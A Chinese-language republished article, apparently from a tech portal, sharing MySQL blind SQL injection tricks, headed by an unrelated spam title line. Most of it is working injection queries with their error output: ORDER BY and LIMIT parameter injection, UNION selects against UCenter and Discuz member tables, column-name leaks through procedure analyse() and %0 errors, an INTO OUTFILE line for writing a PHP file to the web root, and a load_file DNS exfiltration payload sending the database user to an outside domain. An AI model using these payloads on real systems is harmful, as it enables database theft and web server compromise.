自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

MySQL數(shù)據(jù)庫(kù)中另類盲注的一些技巧

數(shù)據(jù)庫(kù) MySQL
我們大家主要描述的是MySQL數(shù)據(jù)庫(kù)中的另類盲注中的一些實(shí)用性比較好用的技巧,下面就是文章的具體內(nèi)容的描述。

以下的文章主要介紹的是MySQL數(shù)據(jù)庫(kù)中的另類盲注中的一些實(shí)用性比較好用的技巧,我前幾天在相關(guān)網(wǎng)站看見MySQL數(shù)據(jù)庫(kù)中的另類盲注中的一些實(shí)用性比較好用的技巧的資料,覺得挺好,就拿出來供大家分享。

 

很多技巧從國(guó)外的paper學(xué)到的,不過國(guó)內(nèi)沒有多少人使用

 

一、order by 的參數(shù)注入技巧:

兩種方法,思路都一樣。

  1. example. “select username,password from uc_members order by”.$_GET['oderby'] 

a.常見的利用方法:

1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));

 

返回錯(cuò)誤:[Err] 1242 – Subquery returns more than 1 row

 

2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));

 

返回正常。

 

b.國(guó)外paper看到的方法:

1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;

 

返回錯(cuò)誤:[Err] 1242 – Subquery returns more than 1 row

 

2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;

 

返回正常。

 

二、limit 的參數(shù)注入技巧:

a.order by之后的limit參數(shù) 的注入,因?yàn)檎5膕ql語句order by后無法接union,所以沒有好辦法,就一個(gè)雞肋思路:

  1. into outfile ‘/www/root/xxx.php’; 

b.limit前無order by時(shí)的注入,那就方便多了,后面可以直接接union select ,隨便怎么注都行了:

select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7

 

這里還有個(gè)技巧,使用procedure analyse可以獲取字段名稱:

 

select * from cdb_members where uid=1 limit 1,1 procedure analyse()

 

不過procedure analyse同樣不能使用在order by之后:

 

[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()

 

[Err] 1386 – Can’t use ORDER clause with this procedure

 

三、無法猜測(cè)字段時(shí)的技巧:

在MySQL數(shù)據(jù)庫(kù)以下版本或者information_schema 無法訪問的時(shí)候,無法猜到某個(gè)表的字段名,于是可以采用這個(gè)辦法,在子查詢中使用%0,報(bào)錯(cuò)獲得列名。以u(píng)center的uc_members為例。

1.猜測(cè)列數(shù):SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)

返回錯(cuò)誤:#1241 – Operand should contain 12 column(s)

 

2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)

 

返回正常。

 

3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)

 

返回錯(cuò)誤:#1048 – Column ‘uid’ cannot be null

 

4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)

 

返回錯(cuò)誤:#1048 – Column ‘username’ cannot be null

 

5. ……

 

注:5.1以上版本不適用,字段必須為非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者頁(yè)面無論and 1=1還是and 1=2的時(shí)候返回都一模一樣,這個(gè)時(shí)候利用dns進(jìn)行注入是個(gè)不錯(cuò)的方法,前提是win環(huán)境root權(quán)限下的MySQL數(shù)據(jù)庫(kù),利用load_file函數(shù)讀取 遠(yuǎn)程文件的思路。本地搭建一個(gè)dns服務(wù)器,然后將特定域名的NS server轉(zhuǎn)過來。然后進(jìn)行注入,并抓包。

本地測(cè)試了下(實(shí)際注入中單引號(hào)可以編碼):select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’)),抓包成功獲得select的結(jié)果:

29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

 

 【編輯推薦】

  1. MySQL 4.1 數(shù)據(jù)轉(zhuǎn)換的指導(dǎo)
  2. 讓MySQL支持中文的實(shí)際操作步驟
  3. 配置MySQL與卸載MySQL實(shí)操
  4. MySQL 修改密碼的6個(gè)好用方案
  5. MySQL數(shù)據(jù)庫(kù)訪問妙招在Linux之下
責(zé)任編輯:佚名 來源: 博客園
相關(guān)推薦

2020-08-07 08:04:03

數(shù)據(jù)庫(kù)MySQL技術(shù)

2021-09-15 09:51:36

數(shù)據(jù)庫(kù)架構(gòu)技術(shù)

2014-04-04 13:48:04

2011-07-29 15:58:53

SGAOracle

2011-03-21 13:41:20

數(shù)據(jù)庫(kù)開發(fā)規(guī)范

2018-06-21 14:50:00

2011-03-10 13:19:47

Oracle數(shù)據(jù)庫(kù)

2010-08-27 14:48:22

DB2like

2010-05-12 15:41:21

MySQL數(shù)據(jù)庫(kù)

2011-06-01 16:50:21

JAVA

2012-05-21 10:13:05

XCode調(diào)試技巧

2013-03-29 13:17:53

XCode調(diào)試技巧iOS開發(fā)

2011-08-03 17:43:53

MySQL數(shù)據(jù)庫(kù)外鍵約束

2016-09-12 17:19:51

JavaScriptArray操作技巧

2011-07-22 09:09:52

Oracle數(shù)據(jù)庫(kù)SQL效率

2011-08-01 13:59:22

Oracle數(shù)據(jù)庫(kù)命名空間

2018-07-27 18:20:31

數(shù)據(jù)庫(kù)MySQL 數(shù)據(jù)庫(kù)建表

2011-10-26 20:55:43

ssh 安全

2011-07-12 09:47:53

WebService

2011-05-23 18:06:24

站內(nèi)優(yōu)化SEO
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)